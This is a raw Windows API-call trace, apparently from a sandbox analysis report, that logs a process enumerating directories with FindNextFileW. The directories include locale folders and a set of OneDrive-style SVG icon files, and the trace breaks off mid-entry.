lpFindFileData=0x40bdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b7e26a, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b85796, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b85796, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0199.729] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0199.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0199.730] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b99028, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b9b703, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b9b703, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0199.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0199.730] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9b99028, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9b9b703, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9b9b703, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0199.731] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0199.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0199.731] FindNextFileW (in: hFindFile=0x4531c00, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe985d505, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4fc18fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe9d5cb0c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 0 [0199.731] FindClose (in: hFindFile=0x4531c00 | out: hFindFile=0x4531c00) returned 1 [0199.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0199.733] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54e5c35e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf940c9ea, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf940c9ea, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1 [0203.812] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5d9d1de, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x585bd56, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x63fb507, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0203.813] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf651079a, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf651079a, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf651079a, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x8f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="acmDismissIcon.svg", cAlternateFileName="ACMDIS~1.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6c11645, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf6c11645, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf6c11645, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x321, dwReserved0=0x0, dwReserved1=0x0, cFileName="blurrect.png", cAlternateFileName="")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7385be9, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf7385be9, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf7385be9, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="checkmark_finished.svg", cAlternateFileName="CHECKM~1.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a14375, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf7a14375, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf7bb7d84, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="checkmark_hovered.svg", cAlternateFileName="CHECKM~2.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf83050ba, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf83050ba, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf83050ba, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x0, cFileName="checkmark_in_progress.svg", cAlternateFileName="CHECKM~3.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf899384a, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf899384a, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf899384a, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="checkmark_selected.svg", cAlternateFileName="CHECKM~4.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8fd5b44, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf8fd5b44, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf8fd5b44, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x127, dwReserved0=0x0, dwReserved1=0x0, cFileName="chevron.svg", cAlternateFileName="")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf97490fd, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf97490fd, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf97490fd, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="chevronUp.svg", cAlternateFileName="CHEVRO~1.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f55038, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xf9f55038, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xf9f55038, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x6c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud.svg", cAlternateFileName="")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa68f152, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfa68f152, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfa68f152, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x3b79, dwReserved0=0x0, dwReserved1=0x0, cFileName="done_graphic.svg", cAlternateFileName="DONE_G~1.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdf42f6, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfbdf42f6, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfbdf42f6, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="errorIcon.svg", cAlternateFileName="ERRORI~1.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc7a3c0a, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfc7a3c0a, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfc7a3c0a, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x123, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.svg", cAlternateFileName="")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd022231, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfd022231, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfd022231, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x79b, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder_image_desktop.svg", cAlternateFileName="FOLDER~1.SVG")) returned 1 [0203.814] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd74ed43, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfd74ed43, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfd7500d6, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x5031, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder_image_documents.svg", cAlternateFileName="FOLDER~2.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf4520a, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfdf4520a, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfdf4520a, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder_image_pictures.svg", cAlternateFileName="FOLDER~3.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe45622b, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfe45622b, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfe45622b, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x172e, dwReserved0=0x0, dwReserved1=0x0, cFileName="iceBucket.svg", cAlternateFileName="ICEBUC~1.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb30e5a, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xfeb30e5a, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xfeb30e5a, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="loading.svg", cAlternateFileName="")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff27e1bc, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xff27e1bc, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xff27e1bc, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="loading_spinner.svg", cAlternateFileName="LOADIN~1.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffdab256, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xffdab256, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xffdab256, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x1d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="onDemandFiles.svg", cAlternateFileName="ONDEMA~1.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7179, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x5b7179, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x60361f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x26c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="onDemandFilesDehydrate.svg", cAlternateFileName="ONDEMA~2.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef436b, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xef436b, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xef436b, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="onDemandSelectiveSync.svg", cAlternateFileName="ONDEMA~3.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17264e1, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x17264e1, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x17264e1, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x46c, dwReserved0=0x0, dwReserved1=0x0, cFileName="onedrivePremium.svg", cAlternateFileName="ONEDRI~1.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e4d5e9, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x1e4d5e9, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x1e7381d, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x3db, dwReserved0=0x0, dwReserved1=0x0, cFileName="overflowIcon.svg", cAlternateFileName="OVERFL~1.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2954430, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x2954430, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x2954430, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="overflowIconWhite.svg", cAlternateFileName="OVERFL~2.SVG")) returned 1 [0203.815] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e1549, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x31e1549, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x31e28d2, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x1137, dwReserved0=0x0, dwReserved1=0x0, cFileName="partiallyFreezing.svg", cAlternateFileName="PARTIA~1.SVG")) returned 1 [0203.816] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x405e249, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x405e249, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x405e249, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x56d, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.svg", cAlternateFileName="")) returned 1 [0203.816] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d1805, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x47d1805, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x47d1805, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x56f, dwReserved0=0x0, dwReserved1=0x0, cFileName="settingsdisabled.svg", cAlternateFileName="SETTIN~1.SVG")) returned 1 [0203.816] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f6b01b, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x4f6b01b, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x504fe2c, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x2ab4, dwReserved0=0x0, dwReserved1=0x0, cFileName="signIn.svg", cAlternateFileName="")) returned 1 [0203.816] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x585bd56, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x585bd56, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x585bd56, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x12c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="stackedIceCubes.svg", cAlternateFileName="STACKE~1.SVG")) returned 1 [0203.816] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d52b4, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x63d52b4, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x63fb507, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0x0, dwReserved1=0x0, cFileName="waterGlass.svg", cAlternateFileName="WATERG~1.SVG")) returned 1 [0203.816] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d52b4, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x63d52b4, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x63fb507, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0x0, dwReserved1=0x0, cFileName="waterGlass.svg", cAlternateFileName="WATERG~1.SVG")) returned 0 [0203.816] FindClose (in: hFindFile=0x4532380 | out: hFindFile=0x4532380) returned 1 [0203.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a390 | out: hHeap=0x710000) returned 1 [0203.817] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63fb507, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x63fb507, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x63fb507, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="is", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cc600a, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x6cc600a, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x6cc600a, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x769bb2d, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x769bb2d, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x769bb2d, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x813029d, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x813029d, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x813029d, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ka", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88a3817, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x88a3817, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x88a3817, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90894cc, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x90894cc, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x90894cc, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="km-kh", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98e189c, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0x98e189c, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0x98e189c, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kn", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa434b7f, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xa434b7f, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xa434b7f, ftLastWriteTime.dwHighDateTime=0x1d38c44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x4531e00, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabcc372, ftCreationTime.dwHighDateTime=0x1d38c44, ftLastAccessTime.dwLowDateTime=0xabcc372, ftLastAccessTime.dwHighDateTime=0x1d38c44, ftLastWriteTime.dwLowDateTime=0xabcc372, 